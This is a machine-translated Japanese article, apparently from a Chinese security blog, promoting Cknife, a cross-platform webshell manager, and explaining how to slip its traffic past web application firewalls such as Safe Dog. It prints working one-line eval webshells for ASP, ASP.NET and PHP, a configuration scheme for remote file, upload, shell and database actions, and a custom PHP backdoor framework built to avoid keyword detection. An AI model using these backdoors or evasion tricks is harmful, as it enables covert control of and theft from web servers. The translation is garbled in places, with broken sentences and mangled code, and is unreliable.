クロスプラットフォーム バージョンのチャイニーズ キッチンナイフ Cknife がリリースされました
中華包丁のクロスプラットフォーム バージョンである Cknife が正式にオープンソースになりました
多くの友人は、Cknife を使用しているとき、それが単なるクロスプラットフォームのキッチン アップグレード バージョンであると誤解しています実際、クロスプラットフォーム機能しか持っていないのですが、実際には WAF を克服できる強力なツールです。 使い方を説明していませんでした。これは私の責任です。責任あるゲイですので、次の記事を用意しています。
Cknife があります。 2 つの WAF モードがあります。1 つは WAF を渡すように構成ファイル (Config.ini) を変更するモード、もう 1 つは WAF を渡すようにカスタマイズ モードです。 今日は、カスタム モードを例として、Safe Dog を数秒で倒す方法を説明します。 もちろん、この記事が公開された後、大手 WAF メーカーは間違いなく特定の機能をブラックリストに登録します。これはアイデアを提供するための出発点にすぎません。
ソフトウェアを使用するときに彼女に注意を向けることはほとんどありません。ここに WAF に関するいくつかの内容を添付しますので、赤い部分をよく読んでください。
[ここでは 1W の単語が省略されています]
サーバーサイド スクリプトは、ASP、ASPX、PHP、JSP、カスタマイズ (カスタマイズ) をサポートしています。
コードには次のコードが含まれますが、これらに限定されません (PHP の create_function、assert など、eval に似た関数を構築できる限り)
ASP:
<%eval request("Cknife")%>
ASP.NET:
<%@ PageLanguage="Jscript"%><%eval(Request.Item["Cknife"],"unsafe");%>
PHP:
<?php @eval($_POST['Cknife']);?>
JSP:
[コードの詳細については 1.jsp を参照]
カスタム タイプ、関数コードはサーバーに保存され、理論的には、 Cナイフを正しく。このモードは必要に応じてカスタマイズできます。たとえば、ディレクトリを参照するだけ、または仮想端末機能のみが必要な場合など、コードは非常に短くできます。
これは、設定ファイルに基づいたクロスプラットフォームの中華包丁です。メイン プログラムは、グラフィック表示とデータ送信のみを目的としています。
各ステップを分離して構成ファイルに書き込みました。ユーザーは、パラメーター名やパラメーターの内容の変更など、任意のコードをカスタマイズできます。
例:
SKIN=javax.swing.plaf.nimbus.NimbusLookAndFeel设置皮肤为nimbusSPL=->| 表示截取数据的开始符号SPR=|<- 表示截取数据的结束符号CODE=code 编码参数ACTION=action 动作参数PARAM1=z1 参数1PARAM2=z2 参数2PHP_BASE64=1 当为PHP时,Z1,Z2参数是否开启自动base64加密,如果想定义自己的加密方式则关闭设置为0PHP_MAKE=@eval(base64_decode($_POST[action]));生成方式,这里可以不用该方式,可以用你任何想要的方式PHP_INDEX=... 显示主页功能的代码放这儿PHP_READDICT=... 读取主页功能的代码放这儿PHP_READFILE=... 读取文件功能的代码放这儿PHP_DELETE=... 删除文件夹以及文件功能的代码放这儿PHP_RENAME=... 重命名文件夹以及文件功能的代码放这儿PHP_NEWDICT=... 新建目录功能的代码放这儿PHP_UPLOAD=... 上传文件功能的代码放这儿PHP_DOWNLOAD=... 下载文件功能的代码放这儿PHP_SHELL=... 虚拟终端功能的代码放这儿PHP_DB_MYSQL=... 管理MYSQL数据库功能的代码放这儿ASP_...=...ASPX_...=...JSP_...=...
WAF を渡すために上記のパラメーターを変更することに加えて、プログラムは WAF を渡すための追加のカスタマイズ モードも提供します。
カスタマイズ モードは元々、ユーザーが作成したスクリプトがチョッパーと正しく対話できる限り、CFM、ASMX、ASHX、PY などのプログラムでデフォルトではサポートされていない一部のスクリプトをサポートするために使用されました。
別の考え方として、ファイルとディレクトリをリストする機能を実装するための PHP スクリプトを自分で作成する場合、この時点で PHP (Eval) 接続方法を選択すると、C ツールと正しく対話できます。接続は失敗します。
接続にはカスタマイズモードを選択する必要があります。なぜ 1 文で接続できるのに、カスタマイズ モードで接続するには非常に多くのコードを記述する必要があるのかと疑問に思う人もいます。非常に強力な WAF が eval、assert などのキーワード
を検出した場合、言葉を発するのは非常に大変です。現時点では、何も言わずに PHP スクリプトで通常のコードを使用してファイルとディレクトリを一覧表示し、次のコマンドを使用できます。カスタマイズ モード接続により、WAF を通過するという目的が達成されます。
カスタマイズ モードも他のモードと同じで、ユーザーはパラメータ名と内容を指定することもできます。
たとえば、カスタマイズ モードで接続された独自の Customize.php サーバーを作成しました。
ホーム ページ機能を表示するために送信されるパラメーターは、password=1&action=index およびpassword=1&action=readdict である必要があります。
C-knife が普及したら、WAF メーカーは間違いなく reddict をブラックリストに登録するでしょう。この時点で、readdict の名前を別の名前に変更することも、アクションの名前を変更することも、1 を他の文字に変更することもできます。
0× 03 WAF 原則によるカスタマイズ モード0×04 犬を横切る準備中
プログラミングの基本をいくつか理解する必要があります (心配しないでください。if ステートメントを知っているだけです)。あとは、私が指定したフレームワークに従ってそれを追加するだけです。 PHP を例に挙げます。
フレームワークは次のとおりです。
$pwd= 'Cknife' $_POST ['action']; // アクション名;
echo ("->|"); // 事前区切り文字
if ($act == 'index') { // ホームページの表示関数
} else if ($act == 'readdict' ) { //ディレクトリを読み込む関数
} else if ($act == …) // 実装したい関数はConfig.iniから復号化して利用可能
{
}
echo (" ;まず復号してみましょう。まず URL 復号、次に Base64 復号です
復号結果を Eclipse に入れて自動的に整理します (右クリック Source->Format)
エコーを削除します (“->|” ) 前にあるすべてのコード。エコー ("|
次に、PHP_READDICT の復号化を見つけます。 ここで、z1 パラメータの前にあるbase64_decode 関数に注意してください。元のテキスト送信であり、自動的に Base64 暗号化されません
したがって、base64_decode関数を削除する必要があります
これはまだ古いルールです。echo (“->|”) の前にすべてのコードを削除します。エコー後のすべてのコード (「|
最後に、前の方法に従ってファイルを読み取る機能、つまり PHP_READFILE を追加します
コードを test.php として保存し、カスタム モードを選択して接続します
テストで見つかりました傍受はなかったということ
次の文に接続しようとしたところ、傍受されることがわかりました